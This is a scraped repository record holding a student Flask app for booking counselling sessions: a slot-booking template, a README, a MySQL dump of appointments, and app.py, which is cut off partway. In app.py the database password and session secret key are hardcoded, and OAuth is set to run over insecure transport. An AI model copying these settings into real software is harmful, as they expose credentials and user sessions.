2020-06-03T23:27:30.474875
2019-07-13T13:04:22
2019-07-13T13:04:22
191,775,595
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5927042365074158, "alphanum_fraction": 0.5999397039413452, "avg_line_length": 33.55208206176758, "blob_id": "5ac714c526025d01334746fabce13eaa8c7c2d15", "content_id": "1226af65c600dbc7a92517ed999213ae2a1b761d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3317, "license_type": "no_license", "max_line_length": 94, "num_lines": 96, "path": "/main", "repo_name": "TechLabCommunity/UpAndDown", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n\nimport socket\nimport sys\nfrom subprocess import DEVNULL, Popen, PIPE\nfrom time import sleep, strftime, gmtime\nfrom utils import is_pingable, is_avail_whois\nfrom utils import send_report_mail\nfrom utils import nmap\nfrom utils import is_local_address\nfrom logging import debug, error, info, warning, critical\nimport logging\n\nlogging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)\n\ntry:\n try_whois = Popen([\"whois\"], stdout=PIPE, stderr=DEVNULL)\n info(\"WHOIS command was found!\")\nexcept FileNotFoundError:\n critical(\"WHOIS command was not found. You need to install whois command on your distro.\")\n exit(10)\n\ntry:\n try_nmap = Popen([\"nmap\"], stdout=PIPE, stderr=DEVNULL)\n info(\"NMAP command was found!\")\nexcept FileNotFoundError:\n critical(\"NMAP command was not found. You need to install nmap command on your distro.\")\n exit(10)\n\nHOSTNAME_DNS = \"8.8.8.8\"\nHOSTNAME_DNS_PORT = 80\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((HOSTNAME_DNS, HOSTNAME_DNS_PORT))\nmy_ip = s.getsockname()[0]\ninfo(\"current host: \" + str(my_ip))\ns.close()\n\n\ndef check_complete_status(hostnames: tuple):\n info(\"Starting scan all ips...\")\n mail_body = \"\"\n for host in hostnames:\n\n host = host.strip() # delete \"\\n\" and other some shits in the strings\n mail_body += f\"\\nPer l'hostname {host} : \\n\\n\"\n if not is_pingable(host):\n error(f\"{host} is not pingable\")\n mail_body += f\"{host} is not pingable!\\n\"\n continue\n else:\n mail_body += f\"{host} is pingable!\\n\"\n try:\n name_host = socket.gethostbyname(host)\n info(\"Name Host is : \" + host + \": \" + name_host)\n mail_body += f\"Name host {name_host} resolved : {name_host}\\n\"\n except socket.gaierror: # If you can't ping, hostname won't exist...\n name_host = host\n error(f\"Name host {name_host} can't be resolved!\")\n mail_body += f\"Name host {name_host} can't be resolved!\\n\"\n continue\n # else, if the host is not local and the public domain is unknown send the msg\n if is_avail_whois(host):\n mail_body += f\"{name_host} is AVAILABLE!\\n\"\n error(host + \" Status: is AVAILABLE.\")\n else:\n mail_body += f\"{name_host} is not AVAILABLE!\\n\"\n if nmap(host):\n mail_body += nmap(host)\n\n if mail_body:\n first_part = \"Ecco il report del \"+strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())+\"\\n\\n\"\n send_report_mail(first_part + mail_body, \"\", \"[email protected]\")\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2: # if you tipe nothing exit\n print(\"Need more arguments\")\n exit(1)\n elif len(sys.argv) == 2: # if third element is empty exit\n host_to_check = (sys.argv[1])\n check_complete_status(host_to_check)\n exit(11)\n elif len(sys.argv) == 3: # check right element\n if sys.argv[1] != \"-f\":\n print(\"the first is invalid.\")\n else:\n file = open(sys.argv[2], \"r\") # read the files with the name of host\n lines = file.readlines()\n file.close()\n check_complete_status(tuple(lines))\n exit(0)\n else:\n print(\"Too many arguments\")\n exit(99)\n" }, { "alpha_fraction": 0.6438735127449036, "alphanum_fraction": 0.6498023867607117, "avg_line_length": 30.625, "blob_id": "47adcfec7128e7f913e1e2712aceb6eb05f90003", "content_id": "7d1655139bfe33205217f794a83f76208b279219", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2531, "license_type": "no_license", "max_line_length": 114, "num_lines": 80, "path": "/utils.py", "repo_name": "TechLabCommunity/UpAndDown", "src_encoding": "UTF-8", "text": "import json\nimport smtplib\nfrom subprocess import DEVNULL, Popen, PIPE\nfrom email.message import EmailMessage\nfrom datetime import datetime\nimport socket\n\n\nHOSTNAME_DNS = \"8.8.8.8\"\nHOSTNAME_DNS_PORT = 80\n\n\ndef get_value_config(key: str):\n json_config = json.load(open(\"config.json\", \"r\"))\n return json_config[key]\n\n\ndef is_pingable(ip_address: str):\n process = Popen([\"ping\", \"-c\", \"1\", ip_address], stdout=PIPE, stderr=DEVNULL)\n return_code = process.wait()\n return return_code == 0\n\n\ndef nmap(ip_address: str):\n process = Popen([\"nmap\", ip_address], stdout=PIPE, stderr=DEVNULL)\n results, _ = process.communicate()\n results = results.decode(\"utf-8\")\n marker = results.find(\"PORT \")\n return results[marker:].strip()\n\n\n# function return true if status ok.\ndef is_avail_whois(domain: str): # codice nuovo\n process = Popen([\"whois\", domain], stdout=PIPE, stderr=DEVNULL)\n results, _ = process.communicate()\n results = results.decode(\"utf-8\") # perchè devo convertire lista di byte in stringa con una certa codifica...\n marker = results.find(\"Status: \")\n return \"AVAILABLE\" in results[marker:].strip().upper()\n\n\ndef is_local_address(local_host_ip: str):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((HOSTNAME_DNS, HOSTNAME_DNS_PORT))\n ip = s.getsockname()[0]\n s.close()\n\n all_occ = [i for i, letter in enumerate(ip) if letter == \".\"]\n last_occ = all_occ[-1]\n ip_castrato = ip[:last_occ + 1]\n return ip_castrato == local_host_ip[:12]\n\n\ndef send_report_mail(body: str, password: str, destination: str):\n gmail_user = '[email protected]'\n gmail_password = password\n from_addr = gmail_user\n to_addr = [destination]\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S, %d/%m/%Y\")\n\n msg = EmailMessage()\n msg[\"Subject\"] = \"Python UpAndDown \" + current_time\n msg[\"From\"] = from_addr\n msg[\"To\"] = to_addr\n msg.set_content(body)\n\n try:\n # prendo le informazioni da config.json..\n hostname_smtp = get_value_config(\"HOSTNAME_SMTP\")\n port_smtp = int(get_value_config(\"PORT_SMTP\"))\n with smtplib.SMTP(hostname_smtp, port_smtp) as smtp:\n smtp.login(gmail_user, gmail_password)\n smtp.send_message(msg)\n smtp.close()\n return True\n except smtplib.SMTPAuthenticationError:\n print(\"Authentication Error. Username and password could be wrong.\")\n except smtplib.SMTPHeloError:\n print(\"HELLO message failed.\")\n return False\n" }, { "alpha_fraction": 0.6599264740943909, "alphanum_fraction": 0.7242646813392639, "avg_line_length": 20.68000030517578, "blob_id": "83f1d3f43bea6d63212ce7ac53e18a876798e1d3", "content_id": "17ac657bd7e836e0e417762b98228bb6d78b9228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 544, "license_type": "no_license", "max_line_length": 110, "num_lines": 25, "path": "/Dockerfile", "repo_name": "TechLabCommunity/UpAndDown", "src_encoding": "UTF-8", "text": "FROM rackspacedot/python37\n\nRUN apt update\n\nRUN apt install whois nmap -y\n\nRUN apt install golang-go -y\n\nRUN mkdir gocode\n\nRUN echo \"export GOPATH=$HOME/gocode\" >> ~/.profile\n\nRUN source ~/.profile\n\nRUN go get github.com/mailhog/MailHog\n\nRUN go get github.com/mailhog/mhsendmail\n\nRUN cp ~/gocode/bin/MailHog /usr/local/bin/mailhog\n\nRUN cp ~/gocode/bin/mhsendmail /usr/local/bin/mhsendmail\n\nRUN mailhog -api-bind-addr 127.0.0.1:18025 -ui-bind-addr 127.0.0.1:18025 -smtp-bind-addr 127.0.0.1:10025\n\nCMD [\"/app/main\", \"-f\", \"ip_addresses\"]\n\n\n" } ]
3
aryangoyal1812/SmilingSouls
https://github.com/aryangoyal1812/SmilingSouls
433eb176ea18716e955eee84a934e442d2469298
ca8c140649f5e423e14c11a75422ab31b769cb08
9602769e187d6bde0c8bb5f65517d8256521dd0b
refs/heads/main
2023-06-27T21:21:31.883843
2021-08-04T20:15:02
2021-08-04T20:15:02
385,939,485
0
0
null
2021-07-14T12:53:27
2021-07-14T12:52:21
2021-07-14T12:52:18
null
[ { "alpha_fraction": 0.4450496435165405, "alphanum_fraction": 0.4612140953540802, "avg_line_length": 61.60335159301758, "blob_id": "70a9b6c58be2ecb2908cddd7ef4f586fbec53d1f", "content_id": "ae45b4adc25dc352fc4ae9cc0f5699cc922845ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 11383, "license_type": "no_license", "max_line_length": 129, "num_lines": 179, "path": "/templates/slot.html", "repo_name": "aryangoyal1812/SmilingSouls", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\r\n{% block main_content %}\r\n{% set k = [1] %}\r\n<h1 class=\"display-1\">Time Slots</h1>\r\n<div class=\"conatiner my-5 mx-auto border border-dark\" style=\"width: 60%;\">\r\n <ul class=\"nav nav-pills mb-5 p-3\" id=\"pills-tab\" role=\"tablist\">\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link active\" id=\"pills-day1-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day1\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day1\" aria-selected=\"true\">\r\n <div>{{ ls[0] }}</div>\r\n <div>{{ date_lst[0] }}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day2-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day2\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day2\" aria-selected=\"false\">\r\n <div>{{ ls[1] }}</div>\r\n <div>{{ date_lst[1] }}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day3-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day3\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day3\" aria-selected=\"false\">\r\n <div>{{ ls[2] }}</div>\r\n <div>{{ date_lst[2] }}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day4-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day4\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day4\" aria-selected=\"false\">\r\n <div>{{ ls[3] }}</div>\r\n <div>{{ date_lst[3] }}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day5-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day5\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day5\" aria-selected=\"false\">\r\n <div>{{ ls[4] }}</div>\r\n <div>{{ date_lst[4] }}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day6-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day6\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day6\" aria-selected=\"false\">\r\n <div>{{ ls[5] }}</div>\r\n <div>{{ date_lst[5]}}</div>\r\n </button>\r\n </li>\r\n <li class=\"nav-item\" role=\"presentation\">\r\n <button class=\"nav-link\" id=\"pills-day7-tab\" data-bs-toggle=\"pill\" data-bs-target=\"#pills-day7\"\r\n type=\"button\" role=\"tab\" aria-controls=\"pills-day7\" aria-selected=\"false\">\r\n <div>{{ ls[6] }}</div>\r\n <div>{{ date_lst[6]}}</div>\r\n </button>\r\n </li>\r\n </ul>\r\n <form action=/mysession method=POST>\r\n <div class=\"tab-content mb-5 p-3\" id=\"pills-tabContent\">\r\n\r\n <div class=\"tab-pane fade show active\" id=\"pills-day1\" role=\"tabpanel\" aria-labelledby=\"pills-day1-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[0]] %}\r\n {% if value[1] == True%}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[0]}}@{{ls[0]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[0]}}@{{ls[0]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc}} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day2\" role=\"tabpanel\" aria-labelledby=\"pills-day2-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[1]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[1]}}@{{ls[1]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[1]}}@{{ls[1]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day3\" role=\"tabpanel\" aria-labelledby=\"pills-day3-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[2]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[2]}}@{{ls[2]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[2]}}@{{ls[2]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day4\" role=\"tabpanel\" aria-labelledby=\"pills-day4-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[3]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[3]}}@{{ls[3]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[3]}}@{{ls[3]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day5\" role=\"tabpanel\" aria-labelledby=\"pills-day5-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[4]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[4]}}@{{ls[4]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[4]}}@{{ls[4]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day6\" role=\"tabpanel\" aria-labelledby=\"pills-day6-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[5]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[5]}}@{{ls[5]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[5]}}@{{ls[5]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"tab-pane fade\" id=\"pills-day7\" role=\"tabpanel\" aria-labelledby=\"pills-day7-tab\">\r\n <div class=\"btn-group\" role=\"group\" aria-label=\"Basic radio toggle button group\">\r\n {% for value in d[ls[6]] %}\r\n {% if value[1] == True %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[6]}}@{{ls[6]}}\" autocomplete=\"off\" disabled>\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% else %}\r\n <input type=\"radio\" class=\"btn-check\" name=\"btnradio\" id=\"btncheck{{k[0]}}\"\r\n value=\"{{value[0]}}@{{date_lst[6]}}@{{ls[6]}}\" autocomplete=\"off\">\r\n <label class=\"btn btn-outline-primary\" for=\"btncheck{{k[0]}}\">{{ value[0]}} to {{ value[0] + inc }} </label>\r\n {% endif %}\r\n {% if k.append(k.pop() + 1) %}{% endif %}\r\n {% endfor %}\r\n </div>\r\n </div>\r\n <div class=\"mt-5 position-relative\" >\r\n <button type=\"Submit\" class=\"btn btn-primary position-absolute top-50 start-50 translate-middle\">Book</button>\r\n </div>\r\n\r\n </div>\r\n </form>\r\n</div>\r\n{% endblock main_content %}" }, { "alpha_fraction": 0.6645469069480896, "alphanum_fraction": 0.7480127215385437, "avg_line_length": 28.952381134033203, "blob_id": "282d86f45c4fd0ea282186c1ec291f017f0dffed", "content_id": "928ae57cb57a7045533308a9a1a1e614ca98f3a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1258, "license_type": "no_license", "max_line_length": 434, "num_lines": 42, "path": "/README.md", "repo_name": "aryangoyal1812/SmilingSouls", "src_encoding": "UTF-8", "text": "# SmilingSoul \n\n## About\nA web app built to connect students with Counsellors at Guidance and Counselling Services, IIT Mandi. The app was made during Frosthack (intra college hackathon) organised by programming club, IIT Mandi. The app allows students to find counsellors and book available slots with them. Students can join the google meet in their booked time slot with the link provided in the app itself. Technologies used: python, flask, Mysql, jinja2.\n## How to run the code\n1. Clone the repository or Download all the files\n2. Install the required dependecies\n3. Import Mysql schema and change mysql credentials accordingly\n4. To start the flask app, move to project directory and run:\n```\npython app.py\n```\n4. The flask app is hosted at 127.0.0.1:8080, go to browser to check the app.\n\n## Requirements\n```\ncachetools==4.2.2\ncertifi==2020.12.5\nchardet==4.0.0\nclick==7.1.2\nFlask==1.1.2\nFlask-MySQLdb==0.2.0\nFlask-SQLAlchemy==2.5.1\ngoogle-auth==1.30.0\ngoogle-auth-oauthlib==0.4.4\ngreenlet==1.1.0\nidna==2.10\nitsdangerous==1.1.0\nJinja2==2.11.3\nMarkupSafe==1.1.1\nmysqlclient==2.0.3\noauthlib==3.1.0\npyasn1==0.4.8\npyasn1-modules==0.2.8\nrequests==2.25.1\nrequests-oauthlib==1.3.0\nrsa==4.7.2\nsix==1.16.0\nSQLAlchemy==1.4.14\nurllib3==1.26.4\nWerkzeug==1.0.1\n```\n" }, { "alpha_fraction": 0.5506015419960022, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 45.8983039855957, "blob_id": "249f3c6b7e542c26d62eee8dd651664514bb181f", "content_id": "d17f61aae7c57e49081fa03642efd1bc542ee55e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 2826, "license_type": "no_license", "max_line_length": 417, "num_lines": 59, "path": "/Dump20210509/maindb_appointment.sql", "repo_name": "aryangoyal1812/SmilingSouls", "src_encoding": "UTF-8", "text": "-- MySQL dump 10.13 Distrib 8.0.23, for Win64 (x86_64)\r\n--\r\n-- Host: localhost Database: maindb\r\n-- ------------------------------------------------------\r\n-- Server version\t8.0.19\r\n\r\n/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\r\n/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\r\n/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\r\n/*!50503 SET NAMES utf8 */;\r\n/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\r\n/*!40103 SET TIME_ZONE='+00:00' */;\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\n\r\n--\r\n-- Table structure for table `appointment`\r\n--\r\n\r\nDROP TABLE IF EXISTS `appointment`;\r\n/*!40101 SET @saved_cs_client = @@character_set_client */;\r\n/*!50503 SET character_set_client = utf8mb4 */;\r\nCREATE TABLE `appointment` (\r\n `appointment_id` int NOT NULL AUTO_INCREMENT,\r\n `Counsellor_id` varchar(50) DEFAULT NULL,\r\n `user_id` varchar(50) DEFAULT NULL,\r\n `start_time` time DEFAULT NULL,\r\n `Date` date DEFAULT NULL,\r\n `meet_link` varchar(255) DEFAULT NULL,\r\n PRIMARY KEY (`appointment_id`),\r\n KEY `Counsellor_id` (`Counsellor_id`),\r\n KEY `user_id` (`user_id`),\r\n CONSTRAINT `appointment_ibfk_1` FOREIGN KEY (`Counsellor_id`) REFERENCES `counsellor` (`counsellor_id`),\r\n CONSTRAINT `appointment_ibfk_2` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=45 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;\r\n/*!40101 SET character_set_client = @saved_cs_client */;\r\n\r\n--\r\n-- Dumping data for table `appointment`\r\n--\r\n\r\nLOCK TABLES `appointment` WRITE;\r\n/*!40000 ALTER TABLE `appointment` DISABLE KEYS */;\r\nINSERT INTO `appointment` VALUES (41,'2','101970800594098659596','11:30:00','2021-05-10','https://meet.google.com/ddf-dmbb-kya'),(42,'2','101970800594098659596','11:30:00','2021-05-10','https://meet.google.com/ddf-dmbb-kya'),(43,'2','101970800594098659596','11:30:00','2021-05-10','https://meet.google.com/ddf-dmbb-kya'),(44,'1','105700541288390913348','11:15:00','2021-05-10','https://meet.google.com/atr-jafq-gqt');\r\n/*!40000 ALTER TABLE `appointment` ENABLE KEYS */;\r\nUNLOCK TABLES;\r\n/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\r\n/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\r\n/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n\r\n-- Dump completed on 2021-05-09 11:48:39\r\n" }, { "alpha_fraction": 0.5783591270446777, "alphanum_fraction": 0.5928059220314026, "avg_line_length": 38.25343704223633, "blob_id": "cdd5b9c59a982cab0aab14ec289aa0c4f6c4058e", "content_id": "a79db42c9d0dfc8ea4bc3488a9d6a94ae9a83f0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20489, "license_type": "no_license", "max_line_length": 211, "num_lines": 509, "path": "/app.py", "repo_name": "aryangoyal1812/SmilingSouls", "src_encoding": "UTF-8", "text": "import os\r\nfrom dotenv import load_dotenv\r\nfrom flask import Flask, render_template, request, abort\r\nfrom twilio.jwt.access_token import AccessToken\r\nfrom twilio.jwt.access_token.grants import VideoGrant, ChatGrant\r\nfrom twilio.rest import Client\r\nfrom twilio.base.exceptions import TwilioRestException\r\n\r\nimport string\r\nimport random\r\n\r\nfrom flask import Flask, redirect, url_for, render_template, request, session\r\nfrom datetime import timedelta\r\nimport os\r\nimport pathlib\r\nimport requests\r\nfrom google.oauth2 import id_token\r\nfrom google_auth_oauthlib.flow import Flow\r\nfrom pip._vendor import cachecontrol\r\nimport google.auth.transport.requests\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_mysqldb import MySQL\r\nimport datetime\r\n\r\napp = Flask(__name__)\r\n#app.config = ['SQLALCHEMY_DATABASE_URI'] = \"mysql://username:password@server/db\"\r\n\r\napp.config['MYSQL_HOST'] = \"localhost\"\r\napp.config['MYSQL_USER'] = \"root\"\r\napp.config['MYSQL_PASSWORD'] = \"alpha\"\r\napp.config['MYSQL_DB'] = \"maindb\"\r\n\r\nmysql = MySQL(app)\r\napp.secret_key = \"IceCream\"\r\n\r\nos.environ[\"OAUTHLIB_INSECURE_TRANSPORT\"] = \"1\"\r\n\r\nGOOGLE_CLIENT_ID= \"770675422913-ljcnbrn1v4iig8o8augpq7hjg5lm4q65.apps.googleusercontent.com\"\r\nclient_secrets_file = os.path.join(pathlib.Path(__file__).parent, \"client_secret.json\")\r\n\r\nflow = Flow.from_client_secrets_file(\r\n client_secrets_file=client_secrets_file,\r\n scopes=[\"https://www.googleapis.com/auth/userinfo.profile\", \"https://www.googleapis.com/auth/userinfo.email\", \"openid\"],\r\n redirect_uri=\"http://127.0.0.1:8080/authorize\"\r\n)\r\n\r\nflowcounsellor = Flow.from_client_secrets_file(\r\n client_secrets_file=client_secrets_file,\r\n scopes=[\"https://www.googleapis.com/auth/userinfo.profile\", \"https://www.googleapis.com/auth/userinfo.email\", \"openid\"],\r\n redirect_uri=\"http://127.0.0.1:8080/authorizecounsellor\"\r\n)\r\n\r\n\r\n\r\[email protected](\"/\")\r\ndef index():\r\n if \"user\" in session:\r\n return redirect(url_for(\"dashboard\"))\r\n #redirect dashbord html\r\n else:\r\n #redirect home html\r\n return redirect(\"/home\")\r\[email protected](\"/home\")\r\ndef home():\r\n\r\n if \"user\" in session:\r\n return redirect(url_for(\"dashboard\"))\r\n elif \"counsellorid\" in session:\r\n return redirect(url_for(\"counsellor_session\"))\r\n #check if authenticated and redirect dashbord\r\n return render_template(\"home.html\")\r\n\r\n\r\[email protected](\"/login\")\r\ndef login():\r\n if \"user\" in session:\r\n return redirect(url_for(\"dashboard\"))\r\n else:\r\n authorization_url, state = flow.authorization_url()\r\n session[\"state\"] = state\r\n print(\"user\")\r\n return redirect(authorization_url)\r\n\r\[email protected](\"/authorize\")\r\ndef authorize():\r\n print(\"userauth\")\r\n if \"user\" in session:\r\n return redirect(url_for(\"dashboard\"))\r\n else:\r\n flow.fetch_token(authorization_response=request.url)\r\n\r\n if (not (session[\"state\"] == request.args[\"state\"])):\r\n return redirect(url_for(\"dashboard\"))\r\n\r\n credentials = flow.credentials\r\n request_session = requests.session()\r\n cached_session = cachecontrol.CacheControl(request_session)\r\n token_request = google.auth.transport.requests.Request(session=cached_session)\r\n\r\n id_info = id_token.verify_oauth2_token(\r\n id_token=credentials._id_token,\r\n request=token_request,\r\n audience=GOOGLE_CLIENT_ID\r\n )\r\n session[\"user\"] = id_info.get(\"sub\")\r\n session[\"name\"] = id_info.get(\"name\")\r\n session[\"image\"] = id_info.get(\"picture\")\r\n session[\"mail\"] = 